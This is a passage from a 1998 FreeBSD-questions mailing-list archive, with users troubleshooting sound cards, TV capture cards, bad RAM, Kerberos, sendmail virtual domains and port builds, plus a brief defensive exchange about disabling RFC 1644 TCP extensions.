1998 13:37:27 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id NAA11502; Tue, 7 Apr 1998 13:37:23 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352A8E83.DE953771@san.rr.com> Date: Tue, 07 Apr 1998 13:37:23 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Derek Laufenberg CC: freebsd questions Subject: Re: COBOL on FreeBSD - please don't laugh! References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Derek Laufenberg wrote: > > Yes you read the subject right. (Stop smirking) I'm looking for a > compiler/interpreter for that god forsaken language. Any suggestions? There was a fairly extensive treatment of this subject not too long ago. The short answer is yes it's possible, the long answer is that you'll need to search the archives for the details. http://www.freebsd.org/search.html Try -questions and -hackers. Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:38:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA08150 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:38:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from info.tsu.ru (info.tsu.ru [212.192.100.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA07961 for ; Tue, 7 Apr 1998 13:37:59 -0700 (PDT) (envelope-from vas@vas.tsu.tomsk.su) Received: (from uucp@localhost) by info.tsu.ru (8.8.7/8.8.7) with UUCP id EAA12952; Wed, 8 Apr 1998 04:38:02 +0800 (TSD) (envelope-from vas@vas.tsu.tomsk.su) Received: (from vas@localhost) by vas.tsu.tomsk.su (8.8.8/8.8.8) id XAA19351; Tue, 7 Apr 1998 23:21:26 +0800 (KRSS) From: Victor Sudakov Message-Id: <199804071521.XAA19351@vas.tsu.tomsk.su> Subject: Re: Problem playing MPEG files In-Reply-To: <35294690.FE515469@vt.edu> from "Brandon Stewart" at "Apr 6, 98 09:18:08 pm" To: rostewa2@vt.edu (Brandon Stewart) Date: Tue, 7 Apr 1998 23:21:26 +0800 (KRSS) Cc: questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Brandon Stewart wrote: > Victor Sudakov wrote: > > vas: {10} mpg123 -t mc.mp3 > > High Performance MPEG 1.0/2.0 Audio Player for Layer 1, 2 and 3. > > Version 0.59k (1997/07/13). Written and copyrights by Michael Hipp. > > Uses code from various people. See 'README' for more! > > THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK! > > > > Playing MPEG stream from mc.mp3 ... > > MPEG 1.0 layer III, 128 kbit/s, 44100 Hz joint-stereo > > My guess is that this is a software error. Try using a different player, > such as splay, or amp. Many of the players do not support all layers of > encoding, and last I checked, mpg123 was one of these. I have now tried both splay and amp. The result is weird: I can hear some very frightening noise from the speakers, which slightly resembles the songs I am trying to play. In fact, I can even guess what song is being played. -- Victor Sudakov mailto:vas@obluo.tomsk.su http://www.obluo.tomsk.su/~vas PGP public key: finger vas@obluo.tomsk.su To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:39:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA08302 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:39:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA07960 for ; Tue, 7 Apr 1998 13:37:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA27040; Tue, 7 Apr 1998 13:37:52 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:37:52 -0700 (PDT) From: Doug White Reply-To: Doug White To: Mike D Tancsa cc: questions@FreeBSD.ORG Subject: Re: RFC-1644 attack ? In-Reply-To: <199804071737.NAA25812@granite.sentex.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Mike D Tancsa wrote: > > What would be the effect of doing a > sysctl -w net.inet.tcp.rfc1644=0 > > Do I need to have this enabled ? If I disable it, what > will it break ? the RFC1644 extensions are just that, extensions to TCP to conserve resources when using TCP. Disabling them may cause a rise in the system's use of resources dedicated to the network. If this is substantiated then you need to send it to security@freebsd.org if you haven't already. That's a nasty attack :( Another reason to not use hosts.equiv. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:41:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09219 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:41:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from whqvax.picker.com (whqvax.picker.com [144.54.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id NAA09102; Tue, 7 Apr 1998 13:41:08 -0700 (PDT) (envelope-from rhh@ct.picker.com) Received: from ct.picker.com by whqvax.picker.com with SMTP; Tue, 7 Apr 1998 16:40:37 -0400 (EDT) Received: from elmer.ct.picker.com by ct.picker.com (4.1/SMI-4.1) id AA21926; Tue, 7 Apr 98 16:40:34 EDT Received: by elmer.ct.picker.com (SMI-8.6/SMI-SVR4) id QAA11089; Tue, 7 Apr 1998 16:40:12 -0400 Message-Id: <19980407164012.50952@ct.picker.com> Date: Tue, 7 Apr 1998 16:40:12 -0400 From: Randall Hopper To: Donald Burr , FreeBSD Questions Cc: FreeBSD Hardware , multimedia@FreeBSD.ORG, Amancio Hasty Subject: Re: BrookTree 848 causing my screen to get messed up, how to fix? Mail-Followup-To: Donald Burr , FreeBSD Questions , FreeBSD Hardware , multimedia@freebsd.org, Amancio Hasty References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: ; from Donald Burr on Mon, Apr 06, 1998 at 10:39:05AM -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG And I'll let a driver guru take this piece of your message -- any thoughts Amancio? (Ccing A.Hasty, and -multimedia in case others there have clues). Randall Donald Burr: |And FreeBSD does recognize it [Donald's Bt848-based "TV Capturer" card]: | |bktr0 rev 18 int a irq 10 on pci0:10:0 |Miro TV, Temic NTSC tuner. ... |occasionally, the card gets really confused, and it thinks that it's a |PAL card instead of an NTSC card: | |bktr0 rev 18 int a irq 10 on pci0:10:0 |Miro TV, Philips PAL I tuner. | |Naturally, this means that I can't view anything (being in the USA, our |cable systems are NTSC). Switching modes in the FXTV program does *not* |work. | |Any ideas? Please e-mail if possible. Thanks! ... |Here, in brief, are the details of my system: | |Pentium 133, motherboard based on VIA VP 586 Apollo chipset, Creative Labs |Graphics Blaster MA202 with 2 MB VRAM (Cirrus Logic CL-GD5446). Other |cards in system include Adaptec AHA-2940AU PCI SCSI controller, ISA NE-2000 |ethernet clone, USR Sportster 56K modem, Sound Blaster ViBRA16C PnP sound |card. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:42:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09369 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:42:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA09222 for ; Tue, 7 Apr 1998 13:41:38 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id NAA11509; Tue, 7 Apr 1998 13:41:30 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352A8F79.8920A4CB@san.rr.com> Date: Tue, 07 Apr 1998 13:41:29 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Random Junk CC: freebsd-questions@FreeBSD.ORG Subject: Re: 2.2.6 unstable References: <13610.28141.968586.358125@hudsucker.gamespot.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Random Junk wrote: > > i installed 2.2.6 on a totally virgin system. pentium pro 200, 128M > RAM, 4G seagate disk, adaptec 2940. i've used that configuration > successfully before. > Apr 7 07:14:00 flaya /kernel: pid 126 (cron), uid 0: exited on signal 11 > Apr 7 07:14:14 flaya /kernel: pid 130 (sendmail), uid 0: exited on signal 11 [snip] This is almost certainly bad ram. "But it's brand new!" Yes, well unfortunately with prices down so low it's easier to let a bad one slip through than catch all the bad ones. You need to find a shop with a memory tester, or perhaps you can find the bad one by process of elimination depending on your system. Good luck, Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:46:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA10667 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:46:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from helmholtz.salk.edu (helmholtz.salk.edu [198.202.70.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA10592 for ; Tue, 7 Apr 1998 13:46:10 -0700 (PDT) (envelope-from bartol@salk.edu) Received: from cole.salk.edu (cole [198.202.70.113]) by helmholtz.salk.edu (8.7.5/8.7.3) with SMTP id NAA08904; Tue, 7 Apr 1998 13:46:02 -0700 (PDT) Date: Tue, 7 Apr 1998 13:46:00 -0700 (PDT) From: Tom Bartol To: insane@oneinsane.net cc: questions@FreeBSD.ORG Subject: Re: FreeBSD USERS Group In-Reply-To: <19980407133432.48564@n2.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't know of one but I live in San Diego. Tom On Tue, 7 Apr 1998, Ron Rosson wrote: > Wondering if anyone knows of a FreeBSD users group > in the San Diego, CA Area. It is a shame that everything > always happens up the coast. ;-) > > Ron > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:48:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA11710 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:48:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA11653 for ; Tue, 7 Apr 1998 13:48:30 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA27050; Tue, 7 Apr 1998 13:48:24 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 13:48:24 -0700 (PDT) From: Doug White Reply-To: Doug White To: Derek Laufenberg cc: freebsd questions Subject: Re: COBOL on FreeBSD - please don't laugh! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Derek Laufenberg wrote: > Yes you read the subject right. (Stop smirking) I'm looking for a > compiler/interpreter for that god forsaken language. Any suggestions? We had a conversation about this just last January -- A search in the mailing archives for -questions would have turned this up: From: "Goeringer, Michael" You can get a COBOL Interpreter for Linux (just be sure to load the Linux emulation) at http://www.deskware.com/cobol/cobol.htm There is also a compiler in the works at http://www.netsis.it/~asantini/cobcy/, but to be hones I'm not familiar with it. Michael G. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:50:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA12117 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:50:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA11997 for ; Tue, 7 Apr 1998 13:49:59 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id OAA29403; Tue, 7 Apr 1998 14:49:53 -0600 (MDT) Message-Id: <199804072049.OAA29403@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Tue, 07 Apr 1998 14:49:39 -0600 To: questions@FreeBSD.ORG From: Brett Glass Subject: Where's FreeBSD? More of a disturbing trend Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Don't mean to harp on this, but Marc Andreessen is, apparently, still pushing Linux to the exclusion of FreeBSD and other arguably superior solutions. See http://www.news.com/News/Item/0,4,20863,00.html where Andreessen mentions Linux and Solaris as key platforms but omits any mention of FreeBSD (or, for that matter, any of the *BSDs). Is the FreeBSD community going to do something about this? Things happen fast in Cyberspace, so it's now or never, folks.... --Brett Glass To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 13:54:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA13240 for freebsd-questions-outgoing; Tue, 7 Apr 1998 13:54:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from whqvax.picker.com (whqvax.picker.com [144.54.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id NAA13111 for ; Tue, 7 Apr 1998 13:53:16 -0700 (PDT) (envelope-from rhh@ct.picker.com) Received: from ct.picker.com by whqvax.picker.com with SMTP; Tue, 7 Apr 1998 16:52:41 -0400 (EDT) Received: from elmer.ct.picker.com by ct.picker.com (4.1/SMI-4.1) id AA22290; Tue, 7 Apr 98 16:52:40 EDT Received: by elmer.ct.picker.com (SMI-8.6/SMI-SVR4) id QAA11132; Tue, 7 Apr 1998 16:52:21 -0400 Message-Id: <19980407165221.59994@ct.picker.com> Date: Tue, 7 Apr 1998 16:52:21 -0400 From: Randall Hopper To: Knightmare , freebsd-questions@FreeBSD.ORG Subject: Re: Sound Blaster 32 Mail-Followup-To: Knightmare , freebsd-questions@FreeBSD.ORG References: <35260157.5BDD1818@cyberdude.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <35260157.5BDD1818@cyberdude.com>; from Knightmare on Sat, Apr 04, 1998 at 09:45:59AM +0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Knightmare: |I have the kernel loading all the SB stuff. (Should I load up the awe0 |thing? I upgraded to AWE with 2MB ram...) It seems to load up fine, as |an SB16, but no sound programs work. Not even xcdplayer (a cd player). |Is there something else I have to load? Hmmm. Before we fiddle with the AWE part, let's get the SB16 part squared away. Try: mixer vol 100 mixer (check that the volume controls are above 50) cat /kernel > /dev/audio If you don't hear anything, something's wrong (of course). My guess would be PnP. See the PnP link off http://multiverse.com/~rhh/awedrv for details. Randall To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:26:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA20207 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:26:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from second.dialup.access.net (lsmarso.dialup.access.net [166.84.254.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA20070 for ; Tue, 7 Apr 1998 14:25:46 -0700 (PDT) (envelope-from larry@marso.com) Received: (from larry@localhost) by second.dialup.access.net (8.8.8/8.8.8) id RAA00522 for freebsd-questions@freebsd.org; Tue, 7 Apr 1998 17:07:54 -0400 (EDT) (envelope-from larry) Message-ID: <19980407170749.49912@marso.com> Date: Tue, 7 Apr 1998 17:07:49 -0400 From: "Larry S. Marso" To: freebsd-questions@FreeBSD.ORG Subject: remote mount dos fs? Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i x-no-archive: yes Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Any special trick to remote mounting a dos file system (scsi) disk? Actually, it's a jaz drive. When I boot up with a msdos files system and mount_msdos on the server machine, my client (with full export authority) can't mount the dos fs. Best regards -- Larry S. Marso larry@marso.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:26:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA20593 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:26:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from camel7.mindspring.com (camel7.mindspring.com [207.69.200.57]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA20501 for ; Tue, 7 Apr 1998 14:26:34 -0700 (PDT) (envelope-from dgason@mindspring.com) Received: from mindspring.com (user-38lcbit.dialup.mindspring.com [209.86.46.93]) by camel7.mindspring.com (8.8.5/8.8.5) with ESMTP id RAA27010 for ; Tue, 7 Apr 1998 17:26:32 -0400 (EDT) Message-ID: <352A9B7C.9B70A039@mindspring.com> Date: Tue, 07 Apr 1998 17:32:44 -0400 From: Dave Ason X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Help: error installing WindowMaker 0.14.x Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there, I am trying to install the port WindowMaker 0.14.0 that I downloaded from the "ports" collection at www.freebsd.org. I have successfully installed the required ports: jpeg-6a, png-1.01, tiff-3.4, and xpm-3.4j I am running XFree86 on freeBSD 2.2.5. I am attempting the install as root. Can anyone provide suggestions to get this port to work (see errors below)? Also, someone on the "misc" newsgroup suggested that I try the 0.14.1 install found on the windowmaker page. I get the same error with that version too...is there something missing from my BSD install? Thanks in advance, Dave dgason@mindspring.com Below are the error messages that I'm getting: gmake[1]: Entering directory `/usr/ports/x11/windowmaker/work/WindowMaker-0.14.0/wrlib' cc -DHAVE_CONFIG_H -I. -I. -I../src -D_BSD_SOURCE -I/usr/local/include/tiff34 -I/usr/local/include -DUSE_PNG -DUSE_JPEG -DUSE_TIFF -O -Wall -finline-functions -c raster.c raster.c:27: X11/Xlib.h: No such file or directory In file included from raster.c:28: wraster.h:50: X11/Xlib.h: No such file or directory wraster.h:51: X11/Xutil.h: No such file or directory gmake[1]: *** [raster.o] Error 1 gmake[1]: Leaving directory `/usr/ports/x11/windowmaker/work/WindowMaker-0.14.0/wrlib' gmake: *** [all-recursive] Error 1 *** Error code 2 Stop. *** Error code 1 Stop. *** Error code 1 Stop. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:30:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA21689 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:30:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA21380 for ; Tue, 7 Apr 1998 14:29:09 -0700 (PDT) (envelope-from rostewa2@vt.edu) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id RAA14390; Tue, 7 Apr 1998 17:31:25 -0400 (EDT) Received: from vt.edu (rostewa2.campus.vt.edu [198.82.96.185]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id RAA01949; Tue, 7 Apr 1998 17:27:49 -0400 (EDT) Message-ID: <352A5410.22707C3D@vt.edu> Date: Tue, 07 Apr 1998 16:28:00 +0000 From: Brandon Stewart X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: Victor Sudakov CC: questions@FreeBSD.ORG Subject: Re: Problem playing MPEG files References: <199804071521.XAA19351@vas.tsu.tomsk.su> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Victor Sudakov wrote: > > Brandon Stewart wrote: > > Victor Sudakov wrote: > > > vas: {10} mpg123 -t mc.mp3 > > > High Performance MPEG 1.0/2.0 Audio Player for Layer 1, 2 and 3. > > > Version 0.59k (1997/07/13). Written and copyrights by Michael Hipp. > > > Uses code from various people. See 'README' for more! > > > THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK! > > > > > > Playing MPEG stream from mc.mp3 ... > > > MPEG 1.0 layer III, 128 kbit/s, 44100 Hz joint-stereo > > > > My guess is that this is a software error. Try using a different player, > > such as splay, or amp. Many of the players do not support all layers of > > encoding, and last I checked, mpg123 was one of these. > > I have now tried both splay and amp. The result is weird: I can hear some > very frightening noise from the speakers, which slightly resembles the songs > I am trying to play. In fact, I can even guess what song is being played. Are you using a sound blaster compatible card? I have had the exact same results for sound blaster cards on two different computers. I do not know the answers, so I'll through it the rest of the list. Does anyone here know the reason why sound quality on sb compatible cards is so horrid? The only suggestion I can offer is to try luigi's sound driver, which should be discussed in LINT. Its a device or controller pcm, I believe. If you have an awe32 or an awe64, and you are using the sb-device, you may want to use those devices instead. Another thing I have to say is that even though sound is horrid when playing wave or mp3 files, sound should not be so bad if your sound card is connected to the cd-rom and you use a utility (such as xcd) to play cds. (sorry if I'm repeating anything you've already done, I do not have your original email anymore.) Regards, Brandon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:37:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA22867 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:37:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA22822 for ; Tue, 7 Apr 1998 14:37:28 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id OAA27109; Tue, 7 Apr 1998 14:37:17 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 14:37:17 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Larry S. Marso" cc: freebsd-questions@FreeBSD.ORG Subject: Re: su: kerberos: not in root's ACL In-Reply-To: <19980407153347.41526@marso.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Larry S. Marso wrote: > Why do I get: > > su: kerberos: not in root's ACL? > > I am telneting into my SERVER, on which I just did a clean installation of > the latest CURRENT snap. I telnet in as a non-root user; I su to root. > > I thought kerberos didn't kick in if your rc.conf says: > > kerberos_server_enable="NO" That starts the server, but all of the libraries still look for it. You have to reinstall the bin distribution to get rid of it. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:43:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA24475 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:43:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA24445 for ; Tue, 7 Apr 1998 14:42:56 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id WAA00865; Tue, 7 Apr 1998 22:42:50 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: <352A9DD4.4A780504@tdx.co.uk> Date: Tue, 07 Apr 1998 22:42:44 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: Tony Dunn-Lowes CC: freebsd-questions@FreeBSD.ORG Subject: Re: Sendmail References: <352A5774.FFBE202F@panic.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Roughly speaking you will ned to complete the following... 1. Make sure your machine knows it's to receive email for those domains - by putting the domains in that machines /etc/sendmail.cw file... 2. Make sure the domains have MX (mail exchange records) that point to your machine... 3. Setup sendmail to use 'virtual user tables' - which will let you direct all the mail sent to one domain to a particular local (or otherwise user),e.g. anything@panic.org could go to a user called 'tdl' on your machine, or say tdl@someother.domain.com This can get quite complicated - if you get stuck or want more info you can either look through the FreeBSD FAQ's etc. - or try www.sendmail.org... If you get really stuck / don't know where to start mail me... I'm out the office after tommorow - but I always (stupidly) pickup my mail remotely... Regards, Karl Pielorz Tony Dunn-Lowes wrote: > > Hi > > I run a fairly small, private host with FreeBSD 2.2.5 and have a few > subdomains setup for websites. I want to use the subdomains for mail too > but am unsure what I need to do to achieve this. > > Basically I want any mail addressed to a username at the particular > subdomain to be delivered to the user who 'owns' the subdomain. > > any ideas ? > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 14:46:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA25219 for freebsd-questions-outgoing; Tue, 7 Apr 1998 14:46:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rah.star-gate.com (rah.star-gate.com [209.133.7.234]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA25047; Tue, 7 Apr 1998 14:45:53 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.8) with ESMTP id OAA19325; Tue, 7 Apr 1998 14:45:30 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Message-Id: <199804072145.OAA19325@rah.star-gate.com> To: Randall Hopper cc: Donald Burr , FreeBSD Questions , FreeBSD Hardware , multimedia@FreeBSD.ORG, Amancio Hasty , 